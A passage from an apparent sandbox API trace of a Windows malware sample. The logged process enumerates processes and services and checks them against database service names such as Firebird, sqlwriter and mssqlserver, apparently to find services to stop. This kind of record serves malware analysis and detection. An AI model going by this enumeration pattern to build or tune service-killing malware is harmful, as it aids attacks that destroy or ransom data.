[0278.751] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0278.751] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0278.751] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0278.751] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0278.751] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0278.751] lstrlenW (lpString="StateRepository") returned 15 [0278.752] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0278.752] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0278.752] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0278.752] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0278.752] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0278.752] lstrlenW (lpString="SysMain") returned 7 [0278.752] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0278.752] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0278.752] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0278.752] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0278.752] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0278.752] lstrlenW (lpString="SystemEventsBroker") returned 18 [0278.752] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0278.752] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0278.752] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0278.752] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0278.752] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0278.752] lstrlenW (lpString="Themes") returned 6 [0278.752] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0278.752] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0278.752] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0278.752] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0278.752] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x7dc300 | out: hHeap=0x6e0000) returned 1 [0278.752] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x388 [0278.756] Process32FirstW (in: hSnapshot=0x388, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0278.756] Process32NextW (in: hSnapshot=0x388, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x95, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0278.757] lstrlenW (lpString="System") returned 6 [0278.757] Process32NextW (in: hSnapshot=0x388, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0278.758] lstrlenW (lpString="smss.exe") returned 8 [0278.758] Process32NextW (in: hSnapshot=0x388, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0278.758] lstrlenW (lpString="csrss.exe") returned 9 [0278.758] Process32NextW (in: hSnapshot=0x388, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0278.759] lstrlenW (lpString="wininit.exe") returned 11 [0278.759] Process32NextW (in: hSnapshot=0x388, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0278.759] lstrlenW (lpString="csrss.exe") returned 9 [0278.760] Process32NextW (in: hSnapshot=0x388, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0278.760] lstrlenW (lpString="winlogon.exe") returned 12 [0278.760] Process32NextW (in: hSnapshot=0x388, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0278.761] lstrlenW (lpString="services.exe") returned 12 [0278.761] Process32NextW (in: hSnapshot=0x388, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0278.761] lstrlenW (lpString="lsass.exe") returned 9 [0278.762] Process32NextW (in: hSnapshot=0x388, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0278.762] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0278.762] Process32NextW (in: hSnapshot=0x388, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0278.763] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0278.763] Process32NextW (in: hSnapshot=0x388, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.977] lstrlenW (lpString="svchost.exe") returned 11 [0278.977] Process32NextW (in: hSnapshot=0x388, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.978] lstrlenW (lpString="svchost.exe") returned 11 [0278.978] Process32NextW (in: hSnapshot=0x388, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0278.978] lstrlenW (lpString="dwm.exe") returned 7 [0278.978] Process32NextW (in: hSnapshot=0x388, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.979] lstrlenW (lpString="svchost.exe") returned 11 [0278.979] Process32NextW (in: hSnapshot=0x388, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.980] lstrlenW (lpString="svchost.exe") returned 11 [0278.980] Process32NextW (in: hSnapshot=0x388, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.980] lstrlenW (lpString="svchost.exe") returned 11 [0278.980] Process32NextW (in: hSnapshot=0x388, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.981] lstrlenW (lpString="svchost.exe") returned 11 [0278.981] Process32NextW (in: hSnapshot=0x388, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.982] lstrlenW (lpString="svchost.exe") returned 11 [0278.982] Process32NextW (in: hSnapshot=0x388, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.983] lstrlenW (lpString="svchost.exe") returned 11 [0278.983] Process32NextW (in: hSnapshot=0x388, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.984] lstrlenW (lpString="svchost.exe") returned 11 [0278.984] Process32NextW (in: hSnapshot=0x388, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.984] lstrlenW (lpString="svchost.exe") returned 11 [0278.984] Process32NextW (in: hSnapshot=0x388, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x528, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.985] lstrlenW (lpString="svchost.exe") returned 11 [0278.985] Process32NextW (in: hSnapshot=0x388, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.986] lstrlenW (lpString="svchost.exe") returned 11 [0278.986] Process32NextW (in: hSnapshot=0x388, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0278.987] lstrlenW (lpString="spoolsv.exe") returned 11 [0278.987] Process32NextW (in: hSnapshot=0x388, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0278.987] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0278.987] Process32NextW (in: hSnapshot=0x388, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0278.988] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0278.988] Process32NextW (in: hSnapshot=0x388, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0278.989] lstrlenW (lpString="Memory Compression") returned 18 [0278.989] Process32NextW (in: hSnapshot=0x388, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.989] lstrlenW (lpString="svchost.exe") returned 11 [0278.989] Process32NextW (in: hSnapshot=0x388, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0278.990] lstrlenW (lpString="audiodg.exe") returned 11 [0278.990] Process32NextW (in: hSnapshot=0x388, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0278.991] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0278.991] Process32NextW (in: hSnapshot=0x388, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0278.991] lstrlenW (lpString="sihost.exe") returned 10 [0278.991] Process32NextW (in: hSnapshot=0x388, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.992] lstrlenW (lpString="svchost.exe") returned 11 [0278.992] Process32NextW (in: hSnapshot=0x388, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0278.993] lstrlenW (lpString="taskhostw.exe") returned 13 [0278.993] Process32NextW (in: hSnapshot=0x388, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0278.993] lstrlenW (lpString="msoia.exe") returned 9 [0278.993] Process32NextW (in: hSnapshot=0x388, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x9f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0278.994] lstrlenW (lpString="explorer.exe") returned 12 [0278.994] Process32NextW (in: hSnapshot=0x388, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0278.995] lstrlenW (lpString="SearchUI.exe") returned 12 [0278.995] Process32NextW (in: hSnapshot=0x388, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0278.995] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0278.995] Process32NextW (in: hSnapshot=0x388, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0278.996] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0278.996] Process32NextW (in: hSnapshot=0x388, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0xa08, pcPriClassBase=8, dwFlags=0x0, szExeFile="1csrss.exe")) returned 1 [0278.997] lstrlenW (lpString="1csrss.exe") returned 10 [0278.997] Process32NextW (in: hSnapshot=0x388, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.997] lstrlenW (lpString="svchost.exe") returned 11 [0278.997] Process32NextW (in: hSnapshot=0x388, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd88, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0278.998] lstrlenW (lpString="cmd.exe") returned 7 [0278.998] Process32NextW (in: hSnapshot=0x388, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xe78, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0278.999] lstrlenW (lpString="conhost.exe") returned 11 [0278.999] Process32NextW (in: hSnapshot=0x388, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xef8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xe78, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0278.999] lstrlenW (lpString="mode.com") returned 8 [0278.999] Process32NextW (in: hSnapshot=0x388, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xef8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xe78, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0279.000] CloseHandle (hObject=0x388) returned 1 [0279.000] Sleep (dwMilliseconds=0x1f4) [0279.773] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7ddf48 [0279.774] EnumServicesStatusExW (in: hSCManager=0x7ddf48, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 0 [0279.774] GetLastError () returned 0xea [0279.774] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x1ca4) returned 0x7d2808 [0279.774] EnumServicesStatusExW (in: hSCManager=0x7ddf48, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x7d2808, cbBufSize=0x1ca4, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x7d2808, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 1 [0279.778] CloseServiceHandle (hSCObject=0x7ddf48) returned 1 [0279.779] lstrlenW (lpString="AppXSvc") returned 7 [0279.779] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0279.779] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0279.779] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0279.779] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0279.779] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0279.779] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0279.779] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0279.779] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0279.779] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0279.779] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0279.779] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0279.779] lstrlenW (lpString="Audiosrv") returned 8 [0279.779] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0279.779] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0279.779] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0279.779] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0279.779] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0279.779] lstrlenW (lpString="BFE") returned 3 [0279.779] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0279.779] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0279.779] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0279.779] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0279.779] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0279.779] lstrlenW (lpString="BITS") returned 4 [0279.779] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0279.779] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0279.780] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0279.780] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0279.780] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0279.780] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0279.780] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0279.780] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0279.780] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0279.780] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0279.780] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0279.780] lstrlenW (lpString="CDPSvc") returned 6 [0279.780] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0279.780] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0279.780] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0279.780] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0279.780] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0279.780] lstrlenW (lpString="ClickToRunSvc") returned 13 [0279.780] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0279.780] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0279.780] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0279.780] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0279.780] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0279.780] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0279.780] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0279.780] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0279.780] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0279.780] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0279.780] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0279.780] lstrlenW (lpString="CryptSvc") returned 8 [0279.780] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0279.780] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0279.780] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0279.780] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0279.780] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0279.781] lstrlenW (lpString="DcomLaunch") returned 10 [0279.781] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0279.781] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0279.781] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0279.781] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0279.781] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0279.781] lstrlenW (lpString="DeviceAssociationService") returned 24 [0279.781] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0279.781] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0279.781] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0279.781] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0279.781] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0279.781] lstrlenW (lpString="Dhcp") returned 4 [0279.781] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0279.781] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0279.781] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0279.781] lstrcmpiW (lpString1="mssqlserver", 